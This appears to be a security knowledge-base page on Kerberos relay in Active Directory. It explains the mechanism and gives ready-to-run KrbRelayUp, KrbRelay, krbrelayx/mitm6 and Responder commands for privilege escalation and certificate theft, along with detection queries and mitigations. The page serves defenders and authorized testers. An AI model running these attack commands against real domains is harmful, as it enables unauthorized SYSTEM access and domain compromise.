How it works
In Kerberos authentication, a client asks the KDC for a service ticket for a service principal name (SPN) and presents the ticket with a fresh authenticator to the service in an AP-REQ message. The ticket is encrypted with the key of the account that owns the SPN. Whoever holds that key accepts it.
Two properties make relay possible:
- The AP-REQ is not tied to a connection. Unless the service enforces signing, sealing or channel binding, it accepts a valid AP-REQ no matter which network path delivered it. An attacker who receives the AP-REQ can pass it to the real service once.
- One key serves many service names. A computer account owns
HOST,CIFS,HTTP,LDAPand other SPNs, all backed by the same key, and many services do not check which service class the ticket names. A ticket requested for one service on a host can be accepted by another service on the same account.
The attacker therefore needs to control two things: which SPN the victim requests a ticket for, and where the victim sends the AP-REQ. In normal use both come from the host name the client connects to. The attack separates them, so that the victim connects to the attacker while asking for a ticket for the target. Unlike NTLM relay, the attacker cannot pick the target after the authentication arrives. The target is fixed by the SPN in the ticket.
Ways to steer the SPN
- DCOM on the local machine (KrbRelay, KrbRelayUp). A local user hands a crafted COM object reference to a privileged service on the same machine. The reference names the attacker's local listener as the place to connect and carries an SPN of the attacker's choice, for example
ldap/DC01.corp.example.com. The service, running as SYSTEM, authenticates with the machine account's Kerberos identity to the attacker's listener, which relays it to LDAP on the domain controller. This needs no network position at all, only a session on a domain-joined machine. - DNS dynamic updates (mitm6 and krbrelayx). After a DHCPv6 takeover, the attacker is the victim's DNS server. When the victim registers its own DNS record with a secure dynamic update, it asks which server is authoritative, and the attacker answers with the host name of the relay target. The victim requests a ticket for the DNS service on that name and sends the authentication to the attacker. Because the ticket is encrypted with the target's computer account key, the target's HTTP service accepts it.
- Multicast name resolution. A poisoner that answers LLMNR lookups can return a different canonical name, so the client requests a ticket for the name the attacker supplied. Responder's
-Noption and KrbRelay's-llmnrmode do this. - SMB with crafted DNS names. An attacker who can register a DNS record can build a name that Windows SMB clients shorten to the target's name when they build the SPN, while the connection goes to the attacker. Combined with coercion, this relays a server's Kerberos authentication.
Where the authentication can go
The receiving services are the same ones that matter for NTLM relay, because the protection is the same:
- LDAP on a domain controller without enforced signing and channel binding. The relayed session writes delegation or key credentials, as described under NTLM relay to LDAP.
- AD CS web enrollment over HTTP, or over HTTPS without Extended Protection for Authentication. The relayed computer account enrolls a certificate that the attacker then uses to authenticate as that computer. See ESC8.
- SMB on a server that does not require signing.
Prerequisites
For the local variant:
- An interactive or remote session as any domain user on a domain-joined machine.
- A domain controller that does not enforce LDAP signing, or does not enforce channel binding for LDAPS.
- For the delegation method: a computer account the attacker controls, either an existing one or one created under
ms-DS-MachineAccountQuota. For the key credential method: a domain controller that supports PKINIT.
For the network variants:
- A position on the victim's local segment (DHCPv6 or multicast poisoning), or the right to create DNS records together with a way to coerce authentication.
- A target service on the relayed identity's own key that accepts unsigned, unbound authentication: AD CS web enrollment without Extended Protection, or SMB without required signing.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
Local privilege escalation with KrbRelayUp
KrbRelayUp runs the whole chain: coerce the machine account's Kerberos authentication, relay it to LDAP, create a control primitive over the local machine, and use it to start a service as SYSTEM.
# Phase 1: create a computer account, relay the local machine account to LDAP,
# and give the new account delegation rights over this machine (RBCD)
.\KrbRelayUp.exe relay -d corp.example.com -c -cn ATTACKER01$ -cp '<password>'
# Phase 2: request a service ticket as a local administrator and start a SYSTEM service
.\KrbRelayUp.exe spawn -d corp.example.com -cn ATTACKER01$ -cp '<password>' -i Administrator
# Shadow credentials instead of RBCD: no computer account needed
.\KrbRelayUp.exe relay -d corp.example.com -m shadowcred
| Option | Meaning |
|---|---|
relay, spawn, full |
First phase, second phase, or the whole chain in one run |
-d |
FQDN of the domain |
-m |
Abuse method after the relay: rbcd (default) or shadowcred |
-c |
Create a new computer account for RBCD as the current user |
-cn, -cp, -ch |
Name, password or NT hash of the attacker-owned computer account |
-f |
Clear msDS-KeyCredentialLink on the machine account before adding the new key |
-i |
User to impersonate in the service ticket. It should be a local administrator on the machine |
-s, -sc |
Name and command of the service to create (default name KrbSCM) |
-cls |
CLSID used to trigger the machine account's authentication |
-ssl |
Use LDAP over SSL |
The relay step alone with KrbRelay
KrbRelay exposes the relay itself, with a choice of action on the LDAP session:
# Find a usable port for the local listener
.\CheckPort.exe
# Relay the machine account to LDAP and write RBCD for the given SID
.\KrbRelay.exe -spn ldap/DC01.corp.example.com -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-0000000000-0000000000-0000000000-1105
# Relay the machine account to LDAP and add a key credential
.\KrbRelay.exe -spn ldap/DC01.corp.example.com -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -shadowcred
-spn is the service the ticket is requested for, and so the relay target. -clsid selects the COM class whose server process performs the authentication; the right value depends on the Windows version, and the KrbRelay documentation lists working values. With -session, the same technique targets the COM server in another logged-on user's session and relays that user instead of the machine account.
Relay over DNS with mitm6 and krbrelayx
From the network, relay a victim computer's Kerberos authentication to AD CS web enrollment and obtain a certificate for its computer account:
# Relay to the certificate enrollment web service and request a Machine certificate for the victim
sudo krbrelayx.py --target http://SRV01.corp.example.com/certsrv/ -ip 192.0.2.50 \
--victim WS01.corp.example.com --adcs --template Machine
# Become the victim's DNS server and name the relay target as the authoritative DNS server
sudo mitm6 --domain corp.example.com --host-allowlist WS01.corp.example.com \
--relay SRV01.corp.example.com -v
| Option | Meaning |
|---|---|
krbrelayx.py --target |
Service to relay to. Because this is Kerberos, it must be a host name |
-ip |
Address of the interface to bind the relay servers to |
--adcs, --template |
Request a certificate through AD CS web enrollment, from this template |
--victim |
Computer or user name the certificate is requested for |
mitm6 --relay |
Relay target, used as the fake DNS server name to trigger Kerberos authentication |
mitm6 --host-allowlist |
Answer DHCPv6 requests from this host only |
krbrelayx prints the certificate as a base64 PFX. The attacker uses it to authenticate as the computer account with PKINIT and continues with the delegation or certificate attacks linked above.
Relay over LLMNR with Responder
Responder's -N option sets the canonical name returned in LLMNR answers, which becomes the name in the SPN the victim requests:
sudo python3 Responder.py -I eth0 -N SRV01
Run krbrelayx with the matching --target to receive and forward the authentication.
Impact
- Local variant: any domain user becomes SYSTEM on the machine they are logged on to. On a shared server, a jump host or a VDI host, that exposes the credentials of every other user of the machine and is a direct step in privilege escalation.
- Relay to AD CS: a certificate for the relayed computer account. For a workstation or member server this gives administrator access to it; for a domain controller it gives the ability to replicate the domain's secrets.
- Relay to LDAP from another user's session: directory writes with that user's rights, including password resets and group changes when the user is privileged.
The attack also defeats the assumption that removing NTLM removes relay. A domain that has disabled NTLM but has not enforced LDAP signing, channel binding and Extended Protection is still exposed.
OPSEC and artifacts
- No unusual authentication protocol. Everything is Kerberos between a domain member and a domain service, so there is no NTLM event to find. The domain controller issues an ordinary service ticket, recorded in event 4769, for the machine account and an LDAP, HTTP or DNS SPN.
- Shadow credentials instead of RBCD. The key credential method avoids creating a computer account, so there is no event 4741. It still writes
msDS-KeyCredentialLinkon the machine account, and the delegation method writesmsDS-AllowedToActOnBehalfOfOtherIdentity; both appear in event 5136 with the machine account as the actor. - Renaming the service. KrbRelayUp creates a service named
KrbSCMby default, and operators change it with-s. Any name still produces event 7045 on the machine for a new service that runs as SYSTEM. - The follow-on tickets. Using the delegation produces S4U service ticket requests in event 4769 from the attacker's computer account for a privileged user to the victim machine. Using a key credential or an issued certificate produces a certificate-based TGT request for the machine account in event 4768.
- The certificate. A relay to AD CS leaves a request and an issued certificate in the CA database and, with CA auditing enabled, event 4887. The requester is the victim computer account, but the HTTP connection came from the attacker's address, which the IIS log on the enrollment server shows.
- Replays. If the same authenticator reaches a service twice, the service rejects the second with
KRB_AP_ERR_REPEAT, and event 4649 is logged. Retries by a relay tool can cause it; so can a faulty network device. - On the network: for the DNS variant, the rogue DHCPv6 and DNS traffic described on the mitm6 page.
Detection
The authentication looks normal, so detection rests on what the relay changes and on what follows.
- A machine account writing its own delegation or key credentials. Event 5136 for
msDS-AllowedToActOnBehalfOfOtherIdentityormsDS-KeyCredentialLinkon a computer object, made by that computer's own account. Computers rarely do this, and never for the delegation attribute. See the RBCD rules and the shadow credentials rules. - A computer account created by an ordinary user just before such a write; see the machine account creation rules.
- A new SYSTEM service on a workstation right after a service ticket for that workstation was issued to a different computer account on behalf of an administrator.
- A certificate issued to a computer account from an enrollment request that arrived from another host's address. Correlate event 4887 on the CA with the IIS log of the enrollment server.
- Event 4649 on domain controllers and servers; see the Kerberos replay rules.
// Computer objects whose delegation or key credential attribute was written by a computer account
WindowsEvent
| where EventID == 5136
| where tostring(EventData.AttributeLDAPDisplayName) in~ (
"msDS-AllowedToActOnBehalfOfOtherIdentity",
"msDS-KeyCredentialLink")
| extend Actor = tostring(EventData.SubjectUserName),
ObjectDN = tostring(EventData.ObjectDN),
ObjectClass = tostring(EventData.ObjectClass),
Attribute = tostring(EventData.AttributeLDAPDisplayName)
| where ObjectClass =~ "computer" and Actor endswith "$"
| project TimeGenerated, Computer, Actor, ObjectDN, Attribute,
Operation = tostring(EventData.OperationType)
| order by TimeGenerated desc
Event 5136 requires Directory Service Changes auditing and a SACL that covers these attributes. Legitimate key credential writes by devices exist where Windows Hello for Business or device registration is in use, so compare the results with that baseline; a write to the delegation attribute by the computer itself has no such explanation.
Mitigation
Kerberos relay is stopped at the receiving service. The controls are the same ones that stop NTLM relay, which is why they should be enforced even where NTLM is already restricted.
- Enforce LDAP signing and LDAP channel binding on every domain controller. This removes the LDAP target for both the local and the network variants. Follow the LDAP signing and channel binding guide.
- Protect AD CS web enrollment. Require HTTPS and enable Extended Protection for Authentication on the enrollment applications, as KB5005413 describes, and remove the enrollment web services that are not needed.
- Require SMB signing on servers and workstations. See the SMB signing guide.
- Set
ms-DS-MachineAccountQuotato 0 so that an ordinary user cannot create the computer account the delegation method needs. The MachineAccountQuota guide explains the change. The key credential method does not need a computer account, so this is not sufficient alone. - Remove the network triggers. Filter rogue DHCPv6 servers and router advertisements, disable LLMNR and mDNS, and restrict who can create DNS records.
- Protect privileged accounts from delegation. Add administrators to Protected Users or mark them as sensitive and not to be delegated, and review the other controls in how to secure Kerberos.
- Audit the attributes. Enable Directory Service Changes auditing with a SACL on computer objects for
msDS-AllowedToActOnBehalfOfOtherIdentityandmsDS-KeyCredentialLink, and alert on self-writes.
Detection rules for this attack
Log events to collect
FAQ
Is Kerberos not immune to relay attacks?
No. A Kerberos service ticket is bound to a service account's key, not to a network connection. If an attacker can make a client request a ticket for a service of the attacker's choice and send the authentication to the attacker, the attacker can forward it to that service. Only signing, sealing or channel binding on the receiving service stops it.
Does disabling NTLM stop relay attacks?
It stops NTLM relay, not Kerberos relay. The same receiving services are at risk: LDAP without enforced signing and channel binding, HTTP endpoints such as AD CS web enrollment without Extended Protection, and SMB without required signing. Fixing those services protects against both.
What is KrbRelayUp?
A tool that chains Kerberos relay into local privilege escalation. A domain user on a domain-joined machine makes the machine's own SYSTEM account authenticate with Kerberos, relays that to LDAP on a domain controller, writes delegation or a key credential on the machine's account, and then uses it to get a service ticket as an administrator and start a service as SYSTEM.
How do you prevent Kerberos relay?
Enforce LDAP signing and LDAP channel binding on domain controllers, require HTTPS with Extended Protection for Authentication on AD CS web enrollment, require SMB signing, and set ms-DS-MachineAccountQuota to 0. Filter rogue DHCPv6 and disable LLMNR and mDNS to remove the network triggers.
References
- Adversary-in-the-Middle, T1557 (MITRE ATT&CK)
- Using Kerberos for Authentication Relay Attacks (Google Project Zero)
- Windows Exploitation Tricks: Relaying DCOM Authentication (Google Project Zero)
- Relaying Kerberos over DNS using krbrelayx and mitm6 (dirkjanm.io)
- KrbRelayUp (Dec0ne)
- KrbRelay (cube0x0)
- krbrelayx (dirkjanm)
- KB5005413: Mitigating NTLM Relay Attacks on Active Directory Certificate Services (Microsoft Support)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.